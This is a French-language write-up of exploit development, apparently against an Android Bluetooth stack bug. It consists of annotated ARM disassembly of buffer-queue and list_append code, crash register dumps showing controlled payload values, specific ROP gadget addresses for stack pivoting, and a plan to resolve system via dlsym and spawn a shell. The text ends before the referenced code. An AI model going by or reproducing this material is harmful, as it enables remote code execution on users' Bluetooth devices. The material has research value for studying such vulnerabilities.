.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => Move R0 to R4 => Set R4 = R0 = tL2C_LCB* p_lcb .text:0x00103110 CBZ R2, loc_10311C => Jump if R2 is null => Jump if BT_HDR* p_buf is null .text:0x00103112 MOVS R0, #0 => Move 0 to R0 => .text:0x00103114 CBZ R1, loc_103120 => Jump if R1 is null => Jump if tL2C_CCB* p_ccb is null .text:0x00103116 LDRH R1, [R1,#0x2C] => Load R1 + 0x2C into R1 => Load R1 with p_ccb->local_cid .text:0x00103118 MOVS R7, #1 => Move 1 to R7 => Set single_write = true .text:0x0010311A B loc_103124 => Branch to loc_103124 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => Store R1 high into R2 => Set p_buf->event = p_ccb->local_cid .text:0x00103126 MOV R1, R2 => Move R2 to R1 => Set R1 = R2 = BT_HDR* p_buf .text:0x00103128 STRH R0, [R2,#6] => Store R0 into R2 + 0x6 => Set p_buf->layer_specific = 0 .text:0x0010312A LDR R0, [R4,#0x44] => Load R4 + 0x44 into R0 => Load R0 with list_t* p_lcb->link_xmit_data_q from R4 + 0x44 .text:0x0010312C BL list_append => Branch with link to list_append
Avant l'appel à la fonction list_append, les registres contiennent :
Le désassemblage de la fonction list_append :
.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => Move R4 to R0 => Set R4 = R0 = list_t* p_lcb->link_xmit_data_q .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => Move R1 to R5 => Set R5 = R1 = BT_HDR* p_buf .text:0x001298AA CMP R4, #0 => Test R4 = 0 => Test if list_t* p_lcb->link_xmit_data_q is null .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => Test CMP => Jump if list_t* p_lcb->link_xmit_data_q is not null .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => Jump if R5 is not null => Jump if BT_HDR* p_buf is null .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => Load R0 from R4+0x10 => Set R0 = list->allocator .text:0x001298E2 LDR R1, [R0] => Load R1 from R0 => Set R1 = list->allocator->alloc .text:0x001298E4 MOVS R0, #8 => Move 8 to R0 => Set R0 = sizeof(list_node_t) .text:0x001298E6 BLX R1 => Branch with link and exchange to R1 => Branch to controlled R1 !!!
Avant la branche contrôlée vers R1, les registres contiennent :
Afin de trouver le début du premier payload dans list_t* p_lcb->link_xmit_data_q pointé par R4, nous avons utilisé le gadget ldm trouvé à 0x00125734 :
0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}
Le crash cible avec le contenu de registre suivant :
R4 = ade05278 = list_t* p_lcb->link_xmit_data_q with the first payload at + 0x894C (0x894C / 0x360 = 0x28 = 40 packets where we can access the second payload)
R0 = R4 + 0x0 = 0020de08
R1 = R4 + 0x4 = dead0000 = first payload value + 0x0
R2 = R4 + 0x8 = dead0001 = first payload value + 0x4
R3 = R4 + 0xC = dead0002 = first payload value + 0x8
R5 = R4 + 0x10 = ade0db14 = first payload value + 0xC = address of second payload + 0x0
R6 = R4 + 0x14 = dead0003 = first payload value + 0x10
R7 = R4 + 0x18 = 00200004
R9 (SB) = R4 + 0x1C = dead0000 = first payload value + 0x0
R10 (SL) = R4 + 0x20 = dead0001 = first payload value + 0x4
R12 (IP) = R4 + 0x24 = dead0002 = first payload value + 0x8
R13 (SP) = R4 + 0x2C = ade0db14 = first payload value + 0xC = address of second payload+ 0x0
R14 (LR) = R4 + 0x30 = dead0003 = first payload value + 0x10
Le premier payload est répété tous les 0x14 octets, ce qui correspond à la taille de la structure list_t.
typedef struct list_t { list_node_t* head; | Size 0x4 | Offset 0x0 | l2cap header not usable list_node_t* tail; | Size 0x4 | Offset 0x4 | first payload value + 0x0 size_t length; | Size 0x4 | Offset 0x8 | first payload value + 0x4 list_free_cb free_cb; | Size 0x4 | Offset 0xC | first payload value + 0x8 const allocator_t* allocator; | Size 0x4 | Offset 0x10 | first payload value + 0xC } list_t; | Size 0x14
Afin de trouver le début du deuxième payload dans BT_HDR* p_buf pointé par R5, nous avons utilisé le gadget ldm trouvé à 0x000dcecc :
0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}
Le crash cible avec le contenu de registre suivant :
Il n'y a pas d'incrément dans ce load multiple et nous pouvons voir que le contenu de BT_HDR* p_buf + 0x0 est : 000e0000 00000000 000a2002 00010006 0002020a 00000002
Le même test avec un load multiple avec incrément avant le gadget trouvé à 0x0014b580 : 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^
Le crash cible avec le journal suivant :
Après le crash, les registres contiennent :
Le contenu de BT_HDR* p_buf + 0x4 pour l'incrément est : 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a
Nous pouvons voir que le deuxième payload est à + 0x14 dans BT_HDR* p_buf
########################################################################################
ÉCRIRE LA CHAÎNE ROP
########################################################################################
Comme Jan Ruge avec la bibliothèque libicuuc, nous n'avons accès qu'à dlsym dans celle du bluetooth pour trouver l'adresse de system afin de lancer le shell.
Le processus d'exploitation est le suivant :- Obtenir l'adresse d'une entrée de la file d'attente du tampon de transmission de lien à mem_offset 180 et calculer la base d'un paquet avec - 176
Voir le code pour les explications
########################################################################################